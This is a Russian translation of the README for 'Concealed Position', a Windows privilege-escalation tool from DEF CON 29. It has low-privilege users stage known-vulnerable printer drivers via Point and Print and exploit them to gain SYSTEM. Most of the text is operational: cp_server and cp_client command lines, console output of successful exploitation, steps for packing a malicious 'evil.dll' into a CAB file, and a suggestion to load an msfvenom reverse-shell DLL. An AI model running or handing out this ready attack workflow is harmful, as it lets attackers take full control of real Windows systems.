
Инструмент повышения привилегий с собственным драйвером принтера
Concealed Position — это атака локального повышения привилегий на Windows, использующая концепцию «Bring Your Own Vulnerability». В частности, Concealed Position (CP) использует предусмотренную логику пакетной точки и печати в Windows, которая позволяет пользователю с низкими привилегиями размещать и устанавливать драйверы принтера. CP специально устанавливает драйверы с известными уязвимостями, которые затем эксплуатируются для повышения привилегий до SYSTEM. Concealed Position впервые был представлен на DEF CON 29.
Concealed Position предлагает четыре эксплойта — все с одинаково глупыми названиями:
Эксплойты хороши тем, что, кроме SLASHINGDAMAGE, они будут продолжать работать даже после исправления проблем. Единственный механизм Windows для предотвращения использования старых драйверов — отзыв сертификата драйвера — исторически (?) не применяется.
Вероятно, ACIDDAMAGE. RADIANTDAMAGE и POISONDAMAGE — это состояния гонки (для перезаписи DLL), а SLASHINGDAMAGE, надеюсь, уже исправлен везде.
Concealed Position состоит из двух частей: зловредного принтера и клиента. Клиент обращается к серверу, получает драйвер, сохраняет его в хранилище драйверов, устанавливает принтер и эксплуатирует процесс установки. Легко! На языке MSAPI атака выглядит примерно так:
Шаг 1: Разместить драйвер в хранилище драйверов
клиент -> сервер: GetPrinterDriver
сервер -> клиент: Ответ с драйвером
Шаг 2: Установить драйвер из хранилища драйверов
клиент: InstallPrinterDriverFromPackage
Шаг 3: Добавить локальный принтер (этап эксплуатации)
клиент: Add printer
Важно отметить, что SLASHINGDAMAGE на самом деле работает не так. SLASHINGDAMAGE — это реализация атаки зловредного принтера, описанной на DEFCON 28 (2020), и давно исправлена. Мне просто нравится эта атака (она дала толчок всему остальному), и я решил оставить этот эксплойт в своём зловредном сервере... как бы странно это ни звучало.
Спорно, да. Хранилище драйверов — это «доверенная коллекция ... сторонних пакетов драйверов», для изменения которой требуется доступ администратора. Используя GetPrinterDriver, атакующий с низкими привилегиями может разместить произвольные драйверы в хранилище. На мой взгляд, это пересекает чёткую границу безопасности.
Microsoft, похоже, согласилась, выпустив CVE-2021-34481.
Хотя... можно утверждать, что это просто особенность системы, а не уязвимость. На самом деле это не так важно. Атакующий может повысить привилегии до SYSTEM на стандартных установках Windows.
Как минимум Windows 8.1 и выше.
Просто! Настолько просто, что будет много абзацев для описания!
Сначала посмотрим на параметры командной строки cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Как показано выше, серверу требуется два параметра:
Например, предположим, мы хотим настроить зловредный принтер, который будет раздавать драйвер ACIDDAMAGE. Просто сделайте это:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Вот и всё, на вашей системе появится новый принтер:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Обратите внимание, что cp_server предлагает один ручной шаг. Поскольку я хакер-дилетант, я не смог придумать, как программно отключить «Защищённый общий доступ с паролем» в «Дополнительных параметрах общего доступа». Вам придётся сделать это самостоятельно!
Процесс использования SLASHINGDAMAGE немного отличается. Сначала необходимо установить CutePDF Writer (установщики находятся в каталоге 3rd party). Затем запустить cp_server и после этого выполнить несколько ручных шагов и перезагрузить компьютер.
Клиент так же прост в использовании. Посмотрим на его параметры командной строки:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
Во-первых, хочу упомянуть опцию --dll. Клиент имеет встроенную полезную нагрузку, которая просто записывает файл C:\result.txt. Однако пользователи могут предоставить свою собственную DLL через эту опцию. Хороший пример того, что можно использовать — обратный шелл x64, созданный msfvenom. Но в остальном мы будем считать, что используется встроенная полезная нагрузка.
cp_client имеет два режима: удалённый и локальный. Удалённый вариант наиболее интересен, так как он добавляет уязвимый драйвер в хранилище драйверов (тем самым реализуя атаку «принеси свой собственный драйвер принтера»), поэтому сначала рассмотрим его. Допустим, я хочу подключиться к зловредному принтеру ACIDDAMAGE, который мы настроили ранее. Для этого нужно указать:
Вот так!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
Вот и всё! Чтобы выполнить только локальную атаку, нужно просто указать эксплойт:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE не требует специального клиента для эксплуатации. Вы можете просто использовать UI или командную строку для подключения к удалённому принтеру, и всё! К сожалению, если вы хотите использовать собственную полезную нагрузку, вам придётся обновить CAB в каталоге cab_files. Но это легко. Что-то вроде:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
Вероятно, важно знать, что версия SLASHINGDAMAGE в репозитории помещает ualapi.dll в SYSTEM32, и при выполнении после перезагрузки она создаёт файл C:\result.txt.
Хотите отправить pull request или сообщить об ошибке? Отлично! Я ценю это, но если вы не предоставите достаточно деталей для воспроизведения бага или объяснения, почему pull request должен быть принят, с вероятностью 100% я закрою ваш issue без комментариев. Я ценю вас, но я также довольно занят.
Стоит отметить, что DLL inject_me на самом деле встроена в cp_client в виде массива C. Если вы обновите inject_me, вам нужно будет вручную обновить и массив C (просто используйте xxd для генерации массива).